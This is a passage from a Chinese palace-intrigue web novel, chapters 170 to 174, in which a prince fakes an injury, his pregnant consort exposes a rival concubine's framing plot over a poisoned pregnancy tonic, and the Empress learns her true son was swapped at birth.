“我怀着你的孩子,你却赶我走?你知道我一路赶来吃了多少苦吗?” “自从有了苏灵音,你便日日苛责我,你看不出她在挑拨离间吗?” “你可记得我们的情意?之前,你从不曾对我说一句重话,可现在你句句带刺,我究竟做错了什么?呜呜呜……” “够了!灵音便不会像你这样歇斯底里。”裴墨染像是攒了浑身力气,吼出这句话。 随后房内传来噼里啪啦的瓷器破碎的声音。 门外的副将吓得一哄而散。 苏灵音也没兴趣看戏了。 云清婳没发现吗?她现在像极了曾经的赵婉宁,愚昧、粗鄙、暴躁。 也难怪,当人发现自己即将失去一切,能不狗急跳墙吗? 门外没了动静,云清婳才放下手中的茶杯。 裴墨染腾的从榻上坐起来,声音洪亮,“别砸了,这是最后一个茶杯了。” 云清婳二话不说走上前,啪地扇了他一巴掌。 “???”裴墨染懵了。 “为什么?”过了好一会儿,他才找回自己的声音。 她的眼泪落下,“你装病!你为何不告诉我?你知道我有多担心吗?你又防着我!” “蛮蛮,你别哭啊,我是真的受伤了,中了好几刀呢。”他陡然躺下,跟被人凌虐般的呻吟,“本来我是安排了人行刺,可谁知真有刺客动手。” “蛮蛮,你给我揉揉好不好?胸口疼、腰疼、大腿也疼。”他装可怜。 云清婳露出半信半疑的表情。 忽地,门外传来急促的敲门声。 “王爷,苏灵音已经走了,不必装了,可以下榻了。”这是诸葛贤的声音。 裴墨染浑身都僵住了,他真的要碎了。 为什么一个二个都在拖后腿? 云清婳抬起右手狠狠甩下去,裴墨染轻而易举捉住她的手腕,“给你男人留点面子知道吗?晚上回去再……” 啪—— 她用左手打了过去。 “嘶……”裴墨染的眼睛被她的指甲划了条印子,眼皮出血了。 诸葛贤闻声,瑟瑟发抖,忙不迭逃了。 云清婳的心脏突突直跳。 糟糕! 她下手重了。 裴墨染的眼眸充血,他用手捂住眼睛。 “你满口谎言!欺我骗我,整日耍我很好玩吗?”她哭了出来。 他一手捂着眼睛,一手抓着她的腕,“蛮蛮,别哭啊!我从一开始就没想让你知道此事,我早就吩咐手下不准跟你说,没想到消息还是泄到了王府。” “疼、好疼……”云清婳捂着肚子,脸色惨白,“我的肚子……” 裴墨染下榻,他着急地扶着云清婳坐下,蹲在她的膝前,“肯定是我把你气坏了,蛮蛮,都是我不好。传太医!” 云清婳捂住他的嘴,拧着眉头道:“孩子踢我呢,我忍一会儿就好了,若是传太医,泄露风声,方才的戏就白演了。” 裴墨染心中爬上愧意,他轻轻揉着她的肚子,“你受苦了!这两个小家伙能不能安分点?整日欺负你!等他们出来,我一定狠狠打他们屁股。” 第170章 你看你打的,快吹吹 “明明是夫君欺负我!”她痛苦的表情有所缓解。 “好,是我不对!下次我一定跟你说,免得你担心。”他坐在她身侧,搂着她的肩膀,“你真是傻,肚子这么大,还亲自赶来,让飞霜来看不就好了?” 她哼了一声,“对!我傻!下次夫君出什么事,我都不看了。” 裴墨染听不得她的阴阳怪气,“你看你给我打的!快吹吹。” 他低下头,把眼睛对着她。 云清婳捧着他的脸,轻轻吹气,愧疚道:“夫君,蛮蛮做错事了。” 他心中最软的一块肉仿佛被戳中,他连忙说:“是我该打!的确是我不对,蛮蛮没有打错。” 打就打呗,反正她手劲轻,打得不疼,每次她的手挥过来的时候,最先扑面而来的是香气。 “……”云清婳真的怕把他打爽了。 “夫君身上可有不适?要不要检查一下,看身上有没有受伤?”她的语气充满担忧。 裴墨染自然愿意。 他正准备解开腰带,云清婳就道:“夫君稍等,我去唤乾风。” 裴墨染登时没兴致了,他才不要男人看他,“不必了!今日唯一的刺客就在这里。” 他捏了下云清婳的脸蛋,“倘若父皇问起来,我就说刺客用指甲划了我的眼睛。” 她笑了,“刺客还想咬你。” 裴墨染将没被苏灵音碰过的手递给她,“咬吧。” 云清婳探着脖子,在他唇上落下一吻。 裴墨染的心跳加速,心脏好像快要爆掉。 他的眼神略带侵略性地看她,可她一脸无辜。 这个小妮子总是这样,撩人不自知。 二人温存后,云清婳便回府了,一直待在玄音阁,闭门不出。 …… 很快,贤王派人刺杀肃王的消息便传开。 监察御史当晚去了御书房告了状 但皇上并没有表态,对贤王的态度依旧不冷不热,大有放置不管的架势。 而裴墨染卖了惨后,便被抬回肃王府养伤。 …… 翊坤宫。 裴云澈阴沉着脸,面上像被覆盖了一层薄薄的寒霜。 他想要印证一件事! 倘若裴墨染遇刺是自导自演,从今往后,他会倾尽全力对付裴墨染! 睿王的恩怨他都可以放下,但是裴墨染的这个仇,他必须报! 他不能接受被自己瞧不起的武夫戏耍! 更不能接受,裴墨染其实不是没脑子,而是一直在隐忍、伪装。 “母后!”他拱手拜了拜,“墨染遇刺了。” 皇后的手轻轻一颤,她扯出一抹惨淡的笑,“听说他受了重伤,流了好多血。赶明儿问问灵音,她应该知道他伤势。” 裴云澈的双眸一厉,“事到如今,母后还不肯说实话吗?” 皇后沉默了一会儿,喉咙干得发痒,像是干涸龟裂的田地,“没错,是本宫派人做的。本宫养了他这么多年,如今想把他的命拿走,没错吧?” 裴云澈心中松了口气,同时又扬起怒火,“母后做事之前能否跟儿臣商量?免得偷鸡不成蚀把米。现在裴墨染未死,天下都说是儿臣派人刺杀肃王,父皇对此很不满。” 虽然父皇宠爱他,但是父皇更看重江山社稷,父皇绝不会因为偏袒他这个儿子,惹人非议,损害自身英明神武的形象。 “云澈,就算不能要他的命,把他的底子毁了也好。”皇后并不觉得自己有错。 裴云澈的心头烦躁不已,他告退离开。 母后实在太小家子气,若不是当年运气好嫁给了困顿一时的父皇,怎会有如此荣光? …… 裴墨染回府后,苏灵音又去探望了一次。 她捕捉到裴墨染右眼皮上头发丝般粗细的划痕时,心中的不安化为实质,终于落地! 只一眼,她便知道这是女人的指甲划的。 尽管难以置信,在她心中云清婳是一只老谋深算的狐狸,但这就是真相。 云清婳真是肆意妄为,她居然敢甩裴墨染巴掌! 一个男人怎会忍受被女人扇脸? 他们之间的情谊,终于断了! 裴墨染之所以忍她,不过是因为她腹中的两个孽种! 很快,她就能占据裴墨染的心了。 …… 裴墨染在肃王府养了一个月的病,苏灵音日日去长信殿侍疾。 云清婳也去求见过几次,但因为裴墨染跟她“赌气”,云清婳一次都不曾进去过长信殿。 这引得府中许多妾室暗中嘲笑,不少人甚至巴结起了苏灵音,把她尊为主母。 实则,裴墨染夜夜偷溜到玄音阁。 他有时半夜钻进云清婳的被窝,把云清婳惊醒,吓得浑身冷汗直冒,扇了他好几巴掌。 云清婳是真的不理解。 她身怀有孕,又不能跟裴墨染做什么,他每晚来玄音阁干嘛? …… 云清婳跟魏娴坐在凉亭下赏荷花。 “蛮蛮,你有没有找人看过,里面是男是女?”魏娴抚了抚她的肚皮。 “嗯。”云清婳笑着颔首,“还不敢下定论,生下来之前,谁也说不准。” 许多大夫都是凭胎像强健与否来判断男女,但这是不科学的。 她可不想立什么生子人设,她虽然不重男轻女,可这个时代就是吃女子的时代。 这些日子她经常对裴墨染说想吃辣的,故意在他面前缝制粉红的鞋帽、璎珞、手串,目的就是为了降低所有人的期待。 就算将来她生下两个女孩,裴墨染也没什么好遗憾惋惜的。 相反,但凡她生下一个男孩,他定会欣喜若狂。 飞霜小跑而来,像是听见了骇人听闻的故事,“主子,奴婢方才看见了,沈夫人的肚子好大啊,比您当初五个月的肚子还大,听说她每天吃得也多,万嬷嬷劝她少吃,她也不听。” “啧……”魏娴皱起了脸,“胎儿大了,很难生下来,更何况她还怀了两个?沈沁是在作死啊。” 云清婳像是作壁上观的看戏人,“倘若沈沁没想足月生呢?” “你的意思是,她准备催产,生下早产儿?在你前面生下王爷的长子!”魏娴都不禁替沈沁感到可悲。 她明白沈沁为了荣华富贵争抢的心思,可世上的任何东西,都不会比自己的命更宝贵。 她绝不会用自己的性命、健康博弈! “裴墨染还没有孩子,若是能为他生下第一个孩子,在他心里终归是不一样的。”云清婳分析。 嫡子,沈沁是占不上了。 但是长子,她还有戏。 她当然会不顾一切抓住机会。 正说着,管家匆匆跑来,“王妃,不好了,沈夫人动胎气了!” “沈夫人下身流血了……” 第171章 云清婳骂得真脏 转眼,众人都汇聚在沈沁的院子里。 云清婳跟一众女眷关怀着床榻上的沈沁。 而裴墨染、苏灵音姗姗来迟。 苏灵音看到正在为沈沁操劳的云清婳,眼中的讥诮一闪而过,“王妃,妾身来迟了!方才王爷带妾身上街游玩了。” 云清婳瞥了眼裴墨染。 二人的表情都很疏离,像是陌生人。 “近日京城动荡,王爷的伤势未愈,还是不要上街为好。”她淡淡地说。 苏灵音当即哭了,“呜呜呜……都是妾身不好,王妃,还请您不要怪罪。” 裴墨染冷声道:“是本王要带灵音出府,你何必指责她?” “……”云清婳失望地看着他,面如死灰,像是懒得辩解了。 众人:??? 不是! 王妃说什么了? 王妃只是关心你,也有错? 魏娴悄悄翻白眼。 死癫公、死颠婆! “王爷,别说了,王妃也是关心您。”苏灵音装作乖巧,大度地劝道。 裴墨染这才收敛脸上的戾气,“沈夫人怎么样了?” “回禀王爷,沈夫人怀了双生子,脉象蓬勃有力!但是沈夫人服用了不少桃仁,这才动了胎气。” 裴墨染的嘴角扬起了不明显的弧度。 上天终于开始偏爱他了。 蛮蛮跟沈沁居然都怀了双生子…… “不,不……王爷,妾身没有服用桃仁。”沈沁的脸色惨白,虚弱地说。 裴墨染立即派人去查,就算不喜沈沁,但她腹中的孩子毕竟是皇家血脉。 他的目光时不时在云清婳的肚子上划过,他道:“都坐吧。” “是。” 众人纷纷坐下。 上首有两个位置,裴墨染坐了一个,云清婳正想坐在另一边,可苏灵音跟挑衅似的,快一步坐下。 众人都看见了这一幕! 苏灵音这是赤裸裸的挑衅! 可她偏生装作毫无察觉,还笑吟吟地看向裴墨染,一脸单纯道:“恭喜王爷,又一次喜得双生子!” 裴墨染的眼底冒出寒气。 苏灵音怎么敢的?故意挑衅蛮蛮、僭越王妃。 这贱人,真当自己可以鸠占鹊巢? 云清婳忽地抬起巴掌。 裴墨染条件反射般的闪躲,心都在颤抖。 啪—— 她手起巴掌落,清脆的耳光声在寝房回荡。 所有人都看傻眼了。 “啊……”苏灵音捂着脸颊,“王妃,您为何打妾身?” 云清婳的目光如同寒刃,没有温度地刺向她。 飞霜讽刺道:“王妃还在,苏侧妃却坐在主位,您觉得您比怀着皇孙的王妃身份尊贵吗?” “就算有王爷的宠爱,苏侧妃也不能目中无人吧?”魏娴趁机说道。 苏灵音的眼泪在眼眶打转,“不……妾身只是太累了,一时忘了规矩,这才僭越了王妃。 “忘了?这就是苏家的家风?苏家的妾室也坐在主位上吗?”云清婳讽刺。 言下之意便是,苏灵音没有教养。 “……”苏灵音吸吸鼻子,慢吞吞从主位上起身,圆润的杏眼委屈地看向裴墨染。 云清婳自然而然地坐在软和的主位。 裴墨染掐了下眉心,疲惫道:“王妃,一点小事你就上纲上线!灵音跟你不同,她只是个孩子!” 云清婳扯出一抹笑,噙着玩笑的口吻:“所以王爷每晚是跟一个孩子情深似海、你侬我侬?您什么时候有这样的癖好了?呵呵……” 噗—— 好几位妾室嘴里的茶水都喷出来了。 王妃的嘴是不是淬了毒。 太狠了! 贴身太监的眼睛都瞪圆了。 不愧是第一贵女啊,骂人骂这么脏,却不带脏字。 而苏灵音的面皮也红了,羞得不行。 只有裴墨染的脸绿了,他是真的被恶心到了,胃里翻江倒海。 蛮蛮怎么这么坏,这么会膈应人? “王妃的脑袋里装了什么?居然这么龌龊!”他怒道。 云清婳毫不生气,含笑道:“我与王爷说笑呢,没想到王爷恼了,我真是该打!” 她扬起手,本来想往肚子上打,但又怕打出事,最后只是装模作样拍了拍自己的手背。 苏灵音恨得咬牙切齿。 而其他妾室都瞠目结舌。 王妃真是伶牙俐齿,气死人不偿命! 王爷、苏灵音妥妥被她拿捏。 门外响起脚步声。 万嬷嬷来了。 “回禀王爷,老奴查到了!”她拍拍手。 一个豁牙的老太监被押了进来,他的面相极其丑陋,一脸坑坑洼洼。 “这是府中老人曹德海,老奴在他屋里发现了半瓶桃仁。”万嬷嬷从袖中拿出一个瓷瓶,双手奉上。 裴墨染接过瓷瓶,细细打量,“你可认罪?” 曹德海哀哀叫道:“王爷,老奴什么都不知道!一定是有人陷害老奴!” “把他拖下去,将舌头拔了!”裴墨染云淡风轻地说着,像在评价天气好坏。 家丁才触碰曹德海,曹德海便双腿一颤,一股热流从两股间流了出来。 “不要啊!不要拔老奴的舌头!老奴招!老奴什么都招!”曹德海没出息地哭了。 “这桃仁是飞霜给的!她跟老奴是同乡,平日老奴收到老家的腊肉、茶叶都会送飞霜,飞霜得了王妃赏赐的糕点也都会送给老奴。” “前些日子飞霜答应跟老奴成为对食,但是要让老奴把桃仁下在沈夫人的安胎药里。” 飞霜的面色大变,她怒道:“你胡说!你是我同乡不假,但我跟你甚少来往,我何时说要与你成为对食?” “飞霜姑娘,事到如今,你不承认也没用了!还是自首认罪吧。”曹德海抹着眼泪。 “还请王爷为我们家主子做主啊!主子腹中怀了双生子啊!”沈沁的婢女明珠哭道。 众人都信了六成,她们都下意识看向云清婳。 毕竟这个曹德海的语气不像假的。 裴墨染像是吞了个苍蝇,膈应不已,“你有何证据?” “老奴有!这是飞霜给老奴的定情信物。”曹德海从怀里拿出一枚红玛瑙簪花。 飞霜像是被火星子燎了,瞬间激动起来:“你这是栽赃!这枚簪子我前些日子弄丢了,主子是知道的!” 明珠冷笑道:“主仆一心,你说什么都好!还请王爷还主子公道啊!” 苏灵音在一旁在戏,眼神阴恻恻的,她义正言辞道:“妾身不信王妃会用这种腌臜手段!王妃腹中怀着嫡长子,怎会跟沈夫人过不去?” 第172章 裴墨染演露馅了 一个妾室笑道:“自然是因为想成为府中的唯一啊!有些人想独占鳌头,不准旁人分走她的光芒。” “还请王爷明察,我不会如此狠毒地陷害孩子。”云清婳字字铿锵,无愧于心。 裴墨染自然是相信云清婳的,可是总有一些臭虫,背地里使阴招。 苏灵音扑通一声跪地,言真意切道:“王爷,此事千错万错都是飞霜跟曹德海的错!王妃肚中的孩子已经八个月了,万万不能忧思过度!” “既然已经真相大白,不如打断曹德海一条腿,然后再将飞霜许配给他做对食?让这两个心思歹毒的人远离王妃!” 飞霜的面色惨白,恶心得想吐。 云清婳更是满脸厌恶。 苏灵音的手段真恶心! “仅凭曹德海三言两语怎能下定论?王爷,还请您看在王妃腹中孩子的面子上严查此事!”魏娴跪地,祈求道。 “王爷!奴婢想要一辈子伺候主子,怎会跟曹德海对食?他又老又丑,怎么配得上奴婢?奴婢眼瞎了吗?”飞霜抽抽噎噎地哭起来。 曹德海的脸都绿了,可什么也不敢说。 裴墨染的面色阴沉,一脸的烦躁、犹豫。 明珠冷笑,“倘若飞霜真的跟曹德海没有私情,不如将她拖下去受刑!十八番刑罚都受一遍,倘若飞霜还是这样的说辞,自然就是真的。” “主子说话,哪里轮得到你插嘴?”云清婳斥道。 苏灵音用帕子擦拭眼泪,她的眼底透着幸灾乐祸,“飞霜,为了保住王妃的清白,恐怕要辛苦你了!” 飞霜的面色唰地白了,她一脸哀莫大于心死的表情,像是即将奔赴刑场的烈士。 “苏侧妃,飞霜是我的人,她该不该受罚,我说得算,王爷说得算,唯独你没有资格!”云清婳幽幽的说。 “妾身只是太想帮您了。”苏灵音哼哼唧唧地哭起来。 裴墨染袖摆下的大手,缓缓握成拳。 蛮蛮这么喜爱飞霜,倘若他真让飞霜受罚,蛮蛮定会伤心欲绝。 “继续查!”裴墨染的声音寒凉如水。 “是!”贴身太监、万嬷嬷再次带人下去。 云清婳的眼神犀利地刺向苏灵音。 苏灵音又想借刀杀人,置身事外是吗? 这一次,她不会让苏灵音如愿! 过了一个时辰,万嬷嬷快步走来,“王爷,老奴找到了!” “老奴找到了!” 众人都傻眼了,找到什么了? “找到什么了?”裴墨染问。 万嬷嬷从袖中取出一枚红玛瑙簪子。 跟曹德海手中的一模一样! 苏灵音登时浑身冰凉,身躯颤了颤,眼珠子瞪得硕大。 她发现了不对,可是已经太晚了。 “这是……”裴墨染露出疑惑的眼神。 云清婳接过两支珠花打量起来,解释道:“王爷,这枚红玛瑙簪子原是您赏赐的,这是宫中所制,簪花内侧刻有宫印。但曹德海手中的簪子却没有!” “呜呜呜王爷,奴婢冤枉啊!有人设了好大的局,冤枉奴婢跟王妃!”飞霜崩溃大哭,就像是沉冤昭雪。 魏娴趁机道:“王爷,这个局并不是冲着飞霜来的,而是冲着皇嗣来的!先是让人给沈夫人下桃仁,又是栽赃王妃,是想一石二鸟啊!” 苏灵音气得后槽牙痒痒,她的脊背发凉,就像有寒风不断地往后背灌。 “王爷,妾身是一直相信王妃的!”苏灵音赶紧找补,表明立场。 云清婳的鼻腔中发出很轻的冷哼,戏谑道:“苏侧妃的心意,我收到了。你的情意,将来我必会十倍百倍的奉还。” 她像是猛虎反扑,大口撕扯着猎物。 这让苏灵音的心尖发颤、发慌,额头泌出了汗液。 贴身太监匆匆跑来,“老奴问了一圈,飞霜跟曹德海的确是同乡,但平日很少联系,倒是前些日子,曹德海跟她时常见面!” 贴身太监指着门外的一个丫头。 婢女被带了上来。 “呜呜呜……奴婢什么也不知道,奴婢什么也不知道啊!”婢女呼吸急促,浑身发抖。 曹德海眼前一亮,“对,就是她!我跟飞霜联系,全靠这个厨房生火的婢女传话!” “原来是有人帮飞霜牵桥搭线啊。”云清婳讽刺着,眼角余光瞟了下苏灵音。 苏灵音紧张的呼吸急促了几分。 “是谁指使你的?”裴墨染轻扬下巴。 “是……”婢女看向苏灵音的方向,她唇瓣颤抖。 啪—— 贴身太监狠狠甩了她一耳光,“说!” 婢女又一次看着苏灵音。 苏灵音、巧慧都阴狠地回望。 “噗——” 忽然,婢女吐出一口黑紫色的血,倒地不起。 万嬷嬷掰开她的嘴,“不好!她的牙齿里藏有毒囊,咬破自尽了!” 这掀起了轩然大波,几个妾室高声尖叫,害怕不已。 裴墨染立即抓住云清婳的手,柔声道:“莫怕。” 云清婳:…… 不是,大哥,你怎么不演了? 云清婳:你疯了?苏灵音还在呢?我们现在是纯恨夫妻! 裴墨染:我怕你吓到。(委屈) 云清婳:蠢死了! 苏灵音看到二人紧握的手,心不自觉地疼了一下。 一种心寒、嫉恨以及迷茫在情绪在心里蔓延。 裴墨染还喜欢云清婳? 那他私下说的甜言蜜语,都是假的吗? 正想着,裴墨染道:“灵音,莫怕。” 霎时,寝屋落针可闻,所有人安静如鸡。 王爷牵着王妃的手,嘴里却叫着苏侧妃的名字! “放开!” 云清婳狠狠甩开他的手里,就像沾染了脏东西。 苏灵音的眼眸瞬间溢出了水光,原本寒了的心瞬间温暖。 她眼中满是感动,悬着的心落了下来。 裴墨染下意识想要保护的人,是她! 他只是不小心牵错了人。 “王爷~”苏灵音幸福地娇嗔,满是得意。 裴墨染想吐。 就在这时,贴身太监又道:“奴才还查到曹德海的这枚红玛瑙簪子,全京城只有聚宝斋半年前做过一枚,买家不详。” “聚宝斋是何人经营?将他给本王带来!”裴墨染的话狠狠砸下。 苏灵音的身躯一晃,摇摇欲坠。 贴身太监吞吞吐吐道:“聚宝斋是、是……苏侧妃名下的铺面。” “妾身什么都不知道!王爷,妾身冤枉啊!”苏灵音的眼泪扑簌簌地流,“聚宝斋什么都做,定是客人要求定制,所以才打造出来的。也可能是掌柜的被人收买了!妾身什么都不知道啊!” 飞霜毫不掩饰的冷笑。 这个蠢货,真以为她是那种会随意掉簪花的人? 云清婳说着风凉话,“苏侧妃别哭了,只要你交代清楚聚宝斋为何做了此簪,我跟王爷必不会为难你。” “……”苏灵音脑袋都是乱的。 毫无疑问,她又被云清婳算计了。 “宫中所制的簪花应该是独一无二的吧?聚宝阁凭空可是造不出来的,定是有人看王妃戴过,所以才能仿制得这么相似!”魏娴分析。 第173章 找皇后说出真相 裴墨染掐了下眉心,失望地看着苏灵音,“灵音,为何你的铺子里半年前就做了此簪?图纸究竟是谁给的?” “我,我……”苏灵音摇头,“我真的不知道!” 沈沁躺在榻上,咬牙切齿地说道:“不知道?苏侧妃的意思是,王妃的簪子恰好被歹人见过、恰好被聚宝阁仿制,又恰好出现在府中曹德海手里?” “王爷,求您为咱们的孩子做主啊!呜呜呜……” 沈沁哭嚎起来,哭声凄惨,把人的脑袋都吵疼了。 苏灵音流下两行清泪,人淡如菊般开口道:“既然如此,妾身百口莫辩。” 裴墨染叹了口气,“将苏侧妃禁足!” “是。” “呜呜呜……妾身冤枉啊!妾身不服!”苏灵音扯着嗓子大喊。 可几个太监将她拖走了。 沈沁很是不服气,她险些小产,可苏灵音只是被禁足。 但没人理会她。 云清婳的眼中透出狡黠的精光。 聚宝阁的掌柜早就江郎才尽,这些年一直对外买图纸。 她半年前就埋下了一颗雷,她的图纸就是那时混进聚宝斋的。 …… 裴墨染处理完政务,便去了玄音阁。 云清婳翻看着手中的账本,她的铺面经营得不错,到时候她就把苏灵音的私产全都连根拔起。 “主子,听说苏灵音在清心阁又打又砸,气得像个疯婆子!”飞霜嘲笑。 云清婳嗤嗤地笑了,“她得谢我,自从捡到你的簪子后,她心里一直很美。” “什么很美?”裴墨染走进寝殿。 云清婳的心脏砰砰直跳。 糟糕! 看账本太入迷,完全没注意狗男人何时进殿。 幸好,看样子裴墨染没听到什么。 也幸好,她跟飞霜没说出太过分的话。 “说苏灵音呢。”她道。 裴墨染的脸上露出嫌恶,“别提她!真是恶心!” 这个贱妇,怎么敢打孩子的主意? 他在她身边坐下,长吁了一口气,“蛮蛮,你生产之前,我都不会将她放出来了。” “你突然冷待她,她若是识破你的虚情假意怎么办?”她觉得不妥。 “你放心,我有分寸。”他随手拿起一块她手边的芙蓉酥,咬下一角。 从前他不喜甜,可最近他的口味好像变了。 这芙蓉酥也不错。 云清婳噘着嘴,狠狠瞪他,“你抢我糕点干嘛?” 他好笑又好气,“还给你行了吧?真是小气!” “我不要,你咬过了。”她撇嘴。 “你嫌弃我?”裴墨染的脸色一沉,表情认真,“你以前不是这样的,你心中没我了?” “……”死癫公! 贴身太监、飞霜对视一眼,见怪不怪,默默将门窗关上。 两位主子又要吵架咯。 “我的口水你吃少了?上次你主动吻我,你先伸舌头的!”他脸不红心不跳地跟她理论。 云清婳面红耳赤,她抬起手,裴墨染下意识闪躲。 “裴墨染,我的手心还疼着,别逼我扇你。”她刺了他一眼。 裴墨染这才想起,方才蛮蛮扇了苏灵音的脸。 他给她揉手心,又想笑又心疼,“她的脸皮那么厚,说不定她一点都不疼,就你疼。下次要打,让飞霜打。” “才不会!我用了十成的力气,她肯定也疼的。打你的时候,我都收着劲儿。”她像是少女说出了心事。 当然这是假话,裴墨染觉得不疼,完全是因为他脸皮比城墙厚。 裴墨染没出息地笑了。 果然,蛮蛮舍不得打他。 怪不得他每次都不疼。 云清婳:“……”又幸福了,哥。 她不知道裴墨染脑补了什么。 他坐在一旁,静静地看她整理账本,拨弄算盘。 “唉……”云清婳长叹一声。 裴墨染凑上去看了看,“怎么了?” 她指给他看,“这是我在云城开设商铺的账本,最近半年西和王的军队买了许多马匹、马鞍、辔头,农具之类的也采购了不少。” 裴墨染并不惊讶,他的眸色平和,“八皇叔在招兵买马,父皇一定也知晓,父皇不急,我们更没必要着急。” “我只是担心百姓,云城的百姓要受苦了。”她长叹一声。 裴墨染操着自负的口吻,毫不在意道:“有我在,你在担心什么?” 云清婳笑而不答。 原剧情里,西和王造反,大昭守城将领最先发现不对,与云城布政使一起英勇抵抗,可最后还是惨遭杀害。 西和王屠了云城后,裴墨染英勇杀敌,三个月便扭转局势,把他的八皇叔打得落花流水,斩下首级,立下了赫赫战功。 可因为皇上偏私裴云澈,最后也只是赏赐了裴墨染些珍宝,口头嘉赏了几句。 许多官员、百姓为他打抱不平,但裴墨染作为苦情男主,只会表面坚强,下朝后躲在房中黯然神伤,靠姐姐的鼓励度过黑暗时光。 这一次,云清婳决定为他争一争! 她绝不陪裴墨染吃苦,她爹娘生下她是为了让她享福的! “夫君查出刺客了吗?”她好奇地问。 他道:“与裴云澈无关,是皇后所为。” 她露出惊讶的表情。 “她可是夫君的亲娘,若是知道真相,必会追悔莫及!夫君,告诉皇后娘娘真相吧!”她牵着他的手,一脸心疼。 裴墨染深吸了口气,双眼发烫,“蛮蛮,其实我早该将此事告诉皇后,但我实在排斥揭开真相。” “夫君不是排斥揭开真相,是怕皇后的反应会让你失望。”她对他的心思了若指掌。 云清婳继续道:“皇后偏心了裴云澈二十三年,就算知道真相,也不一定会偏爱你。夫君是在担心这个?” 裴墨染缓缓颔首,他的心思,蛮蛮总是能猜到。 他害怕,即使告诉皇后,他才是她的亲生儿子,可皇后还是不相信,甚至继续偏私裴云澈、厌恶他。 “有什么可怕的?从来没得到过的东西,还害怕失去吗?”云清婳直戳他心窝子。 他向往的母爱都是假的! “天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为。这些劫难都受了,夫君必会得偿所愿!” 裴墨染心中的愁绪渐渐被排遣。 是啊,他从未得到过母爱,还害怕失去吗? 他在矫情什么? 裴墨染下定了决心,“稍后我便进宫,说与皇后,你陪我一起。” “好。”她紧握他的手,给予他力量。 她得趁机好好挑拨一番母子关系,这样将来杀死皇后,裴墨染才不会计较。 第174章 我跟她,你选谁?选蛮蛮! 裴墨染跟云清婳一同去了翊坤宫。 寝殿中,皇后面容枯槁蜡黄,双颊凹陷,眉眼间透着疲惫。 “儿臣参见母后。”裴墨染行礼。 云清婳跟着行礼。 皇后挤出慈祥的笑,浑身透着母性的光辉,“墨染、清婳,你们来了?墨染听说你前些日子遇刺,母后很担心,你的身子可还好?” “……”裴墨染的下颔线紧绷,棱角分明的轮廓深沉阴冷。 皇后叹了一声,“墨染,你下狱的事,你也别怪云澈。云澈眼里容不得沙子,他也是为了肃清贪腐!你若是干净,也不怕人指摘。” “你赶明去跟云澈道个歉,本宫会劝云澈原谅你,跟你和好的。” 裴墨染觉得可笑,他的眼底发烫,缓缓开口:“为何是儿臣道歉?皇兄背刺儿臣,可顾及手足之情?” 皇后的眼中闪出厌弃之色,她讽刺:“呵,你说什么?你还要你皇兄给你道歉不成?” “云澈是嫡子,亦是皇上膝下最年长的儿子!他是未来的储君,你还想让他给你道歉不成?墨染,做人不能忘本,若不是本宫养育你,你说不定早就被旁人害死了。” 云清婳牵起唇角。 死女人,真会PUA啊! “没有母后养育夫君,也会有其他妃子养育。皇上还能让夫君等死不成?更别说,您身为一国之母,养育皇子,本就是责任。”云清婳愤愤不平,直接开怼。 皇后扶着胸口,使劲咳嗽,“咳咳咳……大胆!云清婳,你心中可有尊卑孝悌?你居然敢这样跟本宫说话,来人,把她拖下去掌掴三十!” “谁敢!?”裴墨染低吼,他紧紧搂住云清婳。 “好啊!为了这个没有家教的狐媚子,你居然忤逆母后?墨染,本宫有时真的怀疑你是不是养不熟的白眼狼,枉本宫把你视若己出。”皇后愤慨地指责,简直字字泣血。 她一字一句,故意往裴墨染的心窝上捅。 这些年,她都是这样控制裴墨染的。 每次一说养育之情,裴墨染就会妥协,乖乖变成她跟云澈的提线木偶。 裴墨染冷淡的脸上,陡然出现了其他神色,他冷不丁笑了,“呵……” “你笑什么?”皇后的心里莫名发慌。 “母后不会良心不安吗?”裴墨染收敛住眼中的悲戚,露出讥讽。 “若真的视若己出,母后会派人刺杀儿臣?您怎么不派人杀了裴云澈?” 皇后的半张着,显然有些震惊、心虚。 可很快,她就恼羞成怒,她抄起手边的药碗狠狠砸了下去。 啪—— 上好的白玉碗四分五裂,发出清脆的声响。 “要怪就怪你三番五次挡了云澈的路!记住你的身份,你是庶出,你只配给云澈当垫脚石!”皇后似乎一瞬间有了力气,她激动地咆哮。 云清婳茶兮兮的开口:“母后,夫君只是想要您的一句道歉!毕竟他喊了您二十三年的母后,您真的没有恻隐之心吗?您真的不后悔吗?” “呵,他也配?本宫只后悔当初没有神不知鬼不觉地掐死他。”皇后冷笑,“若是下次他再挡了云澈的路,本宫照样不会放过他。” “夫君……”云清婳心疼地哭了。 “有什么好哭的?”裴墨染反而异常镇定,或许是哀莫大于心死,亦或许是早就猜到是这个结果。 他给云清婳擦干眼泪,语气倏地冰冷,“进来吧。” 早就告老还乡的林太医,拄着拐杖,颤颤巍巍地走了进来。 “鄙人参见皇后娘娘。” “说吧!”裴墨染冷声道。 皇后一头雾水,“他是何人?” 林太医跪在地上,“皇后娘娘,当年贤王八个月时发了哮喘,险些丧命。是鄙人给贤王看诊的!” “贤王的哮喘是天生的,并非受了风寒,可陛下却不准鄙人说出实情,这是当年太医院的脉案。” 脉案通常一式两份,一份归太医院保管,一份被贵人放在身边。 白嬷嬷将脉案递给皇后。 皇后看后,瞳孔地震,有刹那的失神。 电光火石之间,她想到了什么,她冷笑:“你想说什么?你们又想耍什么花招?” “后宫中究竟谁有哮喘,皇后娘娘应该记得吧?”裴墨染阴阳怪气道。 皇后摇了摇头,“本宫不会信你的。” 林太医退下后,裴墨染从怀中拿出被烧毁一半的画像。 “这幅画,皇后娘娘可知道是何人所作?画上的人,皇后娘娘可眼熟?”裴墨染将画像递给她。 他说话的尾音上扬,带着十足报复的意味。 皇后接过画一看,眼泪瞬间涌了出来。 这是皇上的丹青。 这幅画她自然见过,宸妃当年就挂在储秀宫呢。 画上皇上为宸妃描眉,二人像极了寻常夫妻。 这是她曾经的噩梦! 画上的宸妃,跟裴云澈的面孔有七分相似,二人的左眼眼尾都有一颗泪痣! “卿卿莲衣,见字如晤。卿卿音容相貌宛在,朕辗转难眠。朕已将云澈与皇后逆子交换,云澈即大昭嫡子,将来必会继承大统。”她哽咽地念着上面的字,难以相信自己的眼睛。 每一个字都化为利刃,刺进了她的心口。 三十多年的夫妻情意啊,皇上怎能这般狠心地待她? 不可能、不可能…… 皇后的双手颤抖,眼底一片彷徨、惊慌、恼怒…… 云清婳担心皇后毁坏画像,立即将画像夺过。 “本宫不会相信的,假的,都是假的!”皇后声音嘶哑地低吼,毫不顾及仪态。 